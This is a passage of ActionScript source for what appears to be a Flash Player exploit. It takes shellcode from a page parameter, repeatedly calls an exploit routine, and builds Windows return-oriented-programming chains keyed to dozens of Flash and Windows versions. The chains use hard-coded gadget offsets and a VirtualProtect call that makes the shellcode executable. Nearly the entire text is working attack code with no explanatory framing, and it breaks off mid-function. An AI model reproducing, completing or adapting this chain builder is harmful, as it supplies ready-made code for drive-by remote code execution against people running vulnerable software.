798 lines
34 KiB
ActionScript
798 lines
34 KiB
ActionScript
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//Compile with mxmlc Vickers.as -o Vickers.swf
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package
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{
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import flash.display.Sprite;
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import flash.system.Capabilities;
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import flash.utils.ByteArray;
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import __AS3__.vec.Vector;
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import flash.system.ApplicationDomain;
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import avm2.intrinsics.memory.*;
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public class Vickers extends Sprite
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{
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public static var shellcode:String;
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public function Vickers()
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{
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var params = root.loaderInfo.parameters;
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shellcode = params["id"];
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while (true)
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{
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if (exploit()) break;
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};
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}
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public function makePayload(vftableAddr:*, scAddr:*):ByteArray
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{
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var payload = null;
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switch (Capabilities.os.toLowerCase())
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{
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case "windows xp":
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case "windows vista":
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case "windows server 2003 r2":
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case "windows server 2003":
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case "windows 7":
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case "windows 7 x64":
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case "windows server 2008 r2":
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case "windows server 2008":
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payload = makePayloadWinOther(vftableAddr, scAddr);
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break;
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case "windows 8":
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case "windows 8 x64":
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payload = makePayloadWin8(vftableAddr, scAddr);
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break;
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default:
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return (null);
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};
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return (payload);
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}
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public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray
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{
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var flash_base:uint = vftableAddr;
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var flash_end:uint;
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var rop_payload:ByteArray = new ByteArray();
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rop_payload.position = 0;
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rop_payload.endian = "littleEndian";
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rop_payload.writeUnsignedInt((scAddr + 4));
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switch (Capabilities.version.toLowerCase())
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{
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case "win 11,3,372,94":
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flash_base = (flash_base - 9518744);
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flash_end = (flash_base + 0xB10000);
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rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret
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rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub
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rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret
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rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret
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rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(0x40);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,3,375,10":
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flash_base = (flash_base - 9589392);
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flash_end = (flash_base + 0xB15000);
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rop_payload.writeUnsignedInt((flash_base + 4220004));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 142215));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 8504352));
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rop_payload.writeUnsignedInt((flash_base + 40214));
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rop_payload.writeUnsignedInt((flash_base + 840082));
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rop_payload.writeUnsignedInt((flash_base + 202134));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,3,376,12":
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flash_base = (flash_base - 9593552);
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flash_end = (flash_base + 0xB16000);
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rop_payload.writeUnsignedInt((flash_base + 4220740));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 142023));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 8508448));
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rop_payload.writeUnsignedInt((flash_base + 39878));
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rop_payload.writeUnsignedInt((flash_base + 839538));
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rop_payload.writeUnsignedInt((flash_base + 201958));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,3,377,15":
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flash_base = (flash_base - 9589576);
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flash_end = (flash_base + 0xB15000);
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rop_payload.writeUnsignedInt((flash_base + 4220388));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 141671));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 8504352));
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rop_payload.writeUnsignedInt((flash_base + 39526));
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rop_payload.writeUnsignedInt((flash_base + 839698));
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rop_payload.writeUnsignedInt((flash_base + 201590));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,3,378,5":
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flash_base = (flash_base - 9589448);
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flash_end = (flash_base + 0xB15000);
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rop_payload.writeUnsignedInt((flash_base + 4220388));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 141671));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 8504352));
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rop_payload.writeUnsignedInt((flash_base + 39526));
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rop_payload.writeUnsignedInt((flash_base + 839698));
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rop_payload.writeUnsignedInt((flash_base + 201590));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,3,379,14":
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flash_base = (flash_base - 9597856);
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flash_end = (flash_base + 0xB17000);
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rop_payload.writeUnsignedInt((flash_base + 4575113));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 6617808));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 8149060));
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rop_payload.writeUnsignedInt((flash_base + 8512544));
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rop_payload.writeUnsignedInt((flash_base + 4907562));
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rop_payload.writeUnsignedInt((flash_base + 8147977));
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rop_payload.writeUnsignedInt((flash_base + 4046601));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,6,602,167":
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flash_base = (flash_base - 9821704);
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flash_end = (flash_base + 0xB85000);
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rop_payload.writeUnsignedInt((flash_base + 8405950));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 27456));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 8791088));
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rop_payload.writeUnsignedInt((flash_base + 73494));
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rop_payload.writeUnsignedInt((flash_base + 1115794));
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rop_payload.writeUnsignedInt((flash_base + 242790));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,6,602,171":
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flash_base = (flash_base - 9821904);
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flash_end = (flash_base + 0xB85000);
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rop_payload.writeUnsignedInt((flash_base + 8406414));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 27456));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 8791088));
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rop_payload.writeUnsignedInt((flash_base + 73078));
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rop_payload.writeUnsignedInt((flash_base + 1116754));
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rop_payload.writeUnsignedInt((flash_base + 242380));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,6,602,180":
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flash_base = (flash_base - 9816600);
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flash_end = (flash_base + 0xB84000);
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rop_payload.writeUnsignedInt((flash_base + 8404478));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 29514));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 8786992));
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rop_payload.writeUnsignedInt((flash_base + 69382));
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rop_payload.writeUnsignedInt((flash_base + 175197));
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rop_payload.writeUnsignedInt((flash_base + 238732));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,7,700,169":
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flash_base = (flash_base - 10441412);
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flash_end = (flash_base + 0xC45000);
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rop_payload.writeUnsignedInt((flash_base + 4640769));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 53338));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 9368732));
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rop_payload.writeUnsignedInt((flash_base + 95414));
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rop_payload.writeUnsignedInt((flash_base + 1145506));
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rop_payload.writeUnsignedInt((flash_base + 2156132));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,7,700,202":
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flash_base = (flash_base - 0x9f5470);
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flash_end = (flash_base + 0xC45000);
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rop_payload.writeUnsignedInt((flash_base + 0x46c361));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 0xcc5a));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 0x10c5));
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rop_payload.writeUnsignedInt((flash_base + 0x8ef49c));
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rop_payload.writeUnsignedInt((flash_base + 0x17136));
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rop_payload.writeUnsignedInt((flash_base + 0x42f0));
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rop_payload.writeUnsignedInt((flash_base + 0x40664));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,7,700,224":
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flash_base = (flash_base - 10450228);
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flash_end = (flash_base + 0xC7A000);
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rop_payload.writeUnsignedInt((flash_base + 4646881));
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rop_payload.position = 64;
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rop_payload.writeUnsignedInt((flash_base + 52090));
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rop_payload.position = 76;
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rop_payload.writeUnsignedInt((flash_base + 4293));
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rop_payload.writeUnsignedInt((flash_base + 9376924));
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rop_payload.writeUnsignedInt((flash_base + 93510));
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rop_payload.writeUnsignedInt((flash_base + 1145378));
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rop_payload.writeUnsignedInt((flash_base + 1909483));
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rop_payload.writeUnsignedInt(scAddr);
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rop_payload.writeUnsignedInt(0x1000);
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rop_payload.writeUnsignedInt(64);
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rop_payload.writeUnsignedInt((scAddr - 4));
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break;
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default:
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return (null);
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};
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return (rop_payload);
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}
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public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray
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{
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var vftableAddr_copy:uint = vftableAddr;
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var _local_5:uint;
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var payload:ByteArray = new ByteArray();
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payload.position = 0;
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payload.endian = "littleEndian";
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payload.writeUnsignedInt((scAddr + 4));
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switch (Capabilities.version.toLowerCase())
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{
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case "win 11,0,1,152":
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vftableAddr_copy = (vftableAddr_copy - 7628676);
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_local_5 = (vftableAddr_copy + 0x927000);
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payload.position = 8;
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payload.writeUnsignedInt((vftableAddr_copy + 1041567));
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payload.position = 64;
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payload.writeUnsignedInt((vftableAddr_copy + 1937003));
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payload.position = 80;
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payload.writeUnsignedInt((vftableAddr_copy + 4585805));
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payload.writeUnsignedInt((vftableAddr_copy + 6697912));
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payload.writeUnsignedInt((vftableAddr_copy + 2201532));
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payload.writeUnsignedInt((vftableAddr_copy + 3985044));
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payload.writeUnsignedInt((vftableAddr_copy + 2764856));
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payload.writeUnsignedInt(scAddr);
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payload.writeUnsignedInt(0x1000);
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payload.writeUnsignedInt(64);
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payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,1,102,55":
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vftableAddr_copy = (vftableAddr_copy - 7633040);
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_local_5 = (vftableAddr_copy + 0x927000);
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payload.position = 8;
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payload.writeUnsignedInt((vftableAddr_copy + 4793772));
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payload.position = 64;
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payload.writeUnsignedInt((vftableAddr_copy + 1939267));
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payload.position = 80;
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payload.writeUnsignedInt((vftableAddr_copy + 2297101));
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payload.writeUnsignedInt((vftableAddr_copy + 6702008));
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payload.writeUnsignedInt((vftableAddr_copy + 3976335));
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payload.writeUnsignedInt((vftableAddr_copy + 3516263));
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payload.writeUnsignedInt((vftableAddr_copy + 2768033));
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payload.writeUnsignedInt(scAddr);
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payload.writeUnsignedInt(0x1000);
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payload.writeUnsignedInt(64);
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payload.writeUnsignedInt((scAddr - 4));
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break;
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case "win 11,1,102,62":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 7628912);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x927000);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4794156));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1939856));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5126527));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2920469));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4454837));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2768325));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,1,102,63":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 7628904);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x927000);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4794076));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1939822));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5126435));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2353542));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 3516455));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2768305));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,2,202,228":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 7726032);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x93F000);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4947482));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2022234));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6255948));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5021261));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6176368));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2847152));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,2,202,233":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 7729872);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x93F000);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4947594));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2022508));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4691374));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4164715));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5837496));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2847021));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,2,202,235":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 7734032);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x940000);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4947578));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2022729));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5249755));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6828928));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4261382));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4553024));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2847456));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,3,300,257":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 8232016);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x9C3000);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5328586));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2069614));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6497300));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7222148));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5022322));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4972967));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 3071572));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,3,300,273":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 8236216);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x9C4000);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5331930));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2070667));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6500737));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7226252));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5142060));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5127634));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 3074828));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,4,402,278":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 8503560);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xA23000);
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5581452));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1202409));
|
||
|
|
payload.position = 76;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6927402));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7480208));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5373116));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5713520));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 3269652));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,4,402,287":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 8507728);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xA24000);
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5582348));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1202841));
|
||
|
|
payload.position = 76;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 6927143));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7484304));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5481024));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5107604));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5747979));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,5,502,110":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 11716376);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||
|
|
payload.position = 20;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9813154));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 448623));
|
||
|
|
payload.position = 96;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9326463));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5731300));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 8910259));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 8630687));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,5,502,135":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 11716400);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||
|
|
payload.position = 76;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,5,502,146":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 11716320);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||
|
|
payload.position = 76;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,5,502,149":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 11712240);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||
|
|
payload.position = 5;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10373824));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4331881));
|
||
|
|
payload.position = 77;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9292830));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5731956));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7150772));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 3344264));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,6,602,168":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 11825816);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||
|
|
payload.position = 5;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9924439));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4370139));
|
||
|
|
payload.position = 77;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9564155));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5830863));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9044861));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7984191));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,6,602,171":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 11834040);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xEEA000);
|
||
|
|
payload.position = 5;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9925589));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4370636));
|
||
|
|
payload.position = 77;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9564442));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10741016));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5771380));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10153408));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7983199));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,6,602,180":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 11824712);
|
||
|
|
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||
|
|
payload.position = 5;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9923173));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4368414));
|
||
|
|
payload.position = 77;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9562061));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 5828990));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 9042989));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 8661666));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,7,700,169":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 12902952);
|
||
|
|
_local_5 = (vftableAddr_copy + 16904192);
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1116239));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 10368763));
|
||
|
|
payload.position = 76;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2586086));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 11752328));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 32732));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 8192266));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1578904));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,7,700,202":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 0xc4f508);
|
||
|
|
_local_5 = (vftableAddr_copy + 0x101f000);
|
||
|
|
